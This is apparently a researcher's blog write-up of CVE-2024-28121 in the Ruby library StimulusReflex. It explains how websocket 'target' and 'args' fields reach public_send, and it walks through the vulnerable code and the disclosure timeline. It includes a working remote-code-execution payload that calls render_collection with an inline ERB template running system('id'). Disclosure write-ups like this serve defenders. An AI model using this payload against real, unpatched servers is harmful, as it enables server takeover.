when ruby's public_send method is an oddly named eval
There are different approaches to the problem of updating only the relevant part of the page when a user performs an action. My understanding of the StimulusReflex library is that it tackles this problem in a way that still relies on server-side templates. That is, it uses websockets messages to request a part of the html to be built server-side.
exploration
When using a StimulusReflex application, you will see a websocket connection being established for the /cable path. Under certain user actions messages that can look like the following will be exchanged:
{
"command": "message",
"identifier": "{\"channel\":\"StimulusReflex::Channel\"}",
"data": "{\"attrs\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"class\":\"form-control\",\"value\":\"rename.me.me\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"checked\":false,\"selected\":false,\"tag_name\":\"INPUT\"},\"dataset\":{\"dataset\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"data-reflex-root\":\"#folder\",\"data-document-id\":\"543884\"},\"datasetAll\":{}},\"selectors\":[\"#folder\"],\"id\":\"84abfdb3-a58d-4248-a9a2-ad7aa619056a\",\"resolveLate\":false,\"suppressLogging\":false,\"xpathController\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"xpathElement\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"inner_html\":\"\",\"text_content\":\"\",\"reflexController\":\"folders\",\"permanentAttributeName\":\"data-reflex-permanent\",\"target\":\"DocumentReflex#change_name\",\"args\":[],\"url\":\"http://localhost/\",\"tabId\":\"69415f36-c3ce-4922-abb3-1739fcfe77e9\",\"version\":\"3.5.0-pre10\",\"formData\":\"\"}"
}
There is a lot of stuff in this message and I don't know what it is all used for but you can see interesting target and args fields: \"target\":\"DocumentReflex#change_name\",\"args\":[]. This corresponds to a server-side class and method that will be invoked. Even before reviewing how this invocation is implemented, you can try to change the #method part with a method from the object class. Promisingly, this would lead to responses such as "wrong number of arguments (given [], expected [[:req]], optional [])".
{
"identifier": "{\"channel\":\"StimulusReflex::Channel\"}",
"message": {
"cableReady": true,
"operations": [
{
"name": "stimulus-reflex:morph-error",
"payload": {},
"stimulusReflex": {
"attrs": {
"data-reflex": "change->DocumentReflex#change_name",
"data-reflex-dataset": "ancestors",
"class": "form-control",
"value": "rename.me.me",
"data-controller": "folders",
"data-action": "change->folders#__perform",
"checked": false,
"selected": false,
"tagName": "INPUT"
},
"dataset": {
"dataset": {
"data-reflex": "change->DocumentReflex#change_name",
"data-reflex-dataset": "ancestors",
"data-controller": "folders",
"data-action": "change->folders#__perform",
"data-reflex-root": "#folder",
"data-document-id": "543884"
},
"datasetAll": {}
},
"selectors": [
"#folder"
],
"id": "84abfdb3-a58d-4248-a9a2-ad7aa619056a",
"resolveLate": false,
"suppressLogging": false,
"xpathController": "//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]",
"xpathElement": "//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]",
"innerHtml": "",
"textContent": "",
"reflexController": "folders",
"permanentAttributeName": "data-reflex-permanent",
"target": "DocumentReflex#method",
"args": [],
"url": "http://localhost/",
"tabId": "69415f36-c3ce-4922-abb3-1739fcfe77e9",
"version": "3.5.0-pre10",
"formData": "",
"morph": "page"
},
"error": "wrong number of arguments (given [], expected [[:req]], optional []) ",
"reflexId": "84abfdb3-a58d-4248-a9a2-ad7aa619056a",
"operation": "dispatchEvent"
}
],
"version": "5.0.0.pre10"
}
}
Yet, at this point no side-effect could be observed when attempting to call methods such as Object#instance_eval or Kernel#system!
vulnerability
In this case, finding the relevant security-sensitive code is as simple as searching for "wrong number of arguments (given [], expected [[:req]], optional [])". It is found in stimulus_reflex/app/channels/stimulus_reflex/channel.rb
def delegate_call_to_reflex(reflex)
method_name = reflex.method_name
arguments = reflex.data.arguments
method = reflex.method(method_name)
policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)
if policy.no_arguments?
reflex.process(method_name)
elsif policy.arguments?
reflex.process(method_name, *arguments)
else
raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
end
end
Where the process method is basically public_send.
# Invoke the reflex action specified by `name` and run all callbacks
def process(name, *args)
run_callbacks(:process) { public_send(name, *args) }
end
module StimulusReflex
class ReflexMethodInvocationPolicy
attr_reader :arguments, :required_params, :optional_params
def initialize(method, arguments)
@arguments = arguments
@required_params = method.parameters.select { |(kind, _)| kind == :req }
@optional_params = method.parameters.select { |(kind, _)| kind == :opt }
end
def no_arguments?
arguments.size == 0 && required_params.size == 0
end
def arguments?
arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
end
def unknown?
return false if no_arguments?
return false if arguments?
true
end
end
end
Ruby has different types of arguments. Notably there is :req for required arguments like "def foo(bar)", :opt for optional arguments like "def foo(bar=3)" or :rest for variable amount of arguments like "def foo(*bar)". According to ReflexMethodInvocationPolicy, only methods with :req or :opt parameters can be called and the methods attempted earlier all only have a single :rest argument. So what methods are left? This is simple to enumerate:
obj.methods.select do |name|
obj.method(name).parameters.flatten.count { |type| type == :req or type == :opt } > 0
end
Among the results is the StimulusReflex::Reflex#render_collection method. This is a thin wrapper around a call to the ActionController::Base#render method and it supports passing in a template as a string.
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('id') %>\"}]
This works because even though the inner render method uses a variable amount of arguments, the outer render_collection does not.
disclosure
- September 12ᵗʰ 2023: Disclosed vulnerability to the maintainer via github
- September 12ᵗʰ 2023: Maintainer writes a patch the same day. Yay for OSS!
- January 3ʳᵈ 2024: Maintainer is planning a release soon
- March 1ˢᵗ 2024: Reminder of public disclosure
- March 6ᵗʰ 2024: CVE-2024-28121 assigned
- March 12ᵗʰ 2024: Patch released
April 11ᵗʰ 2024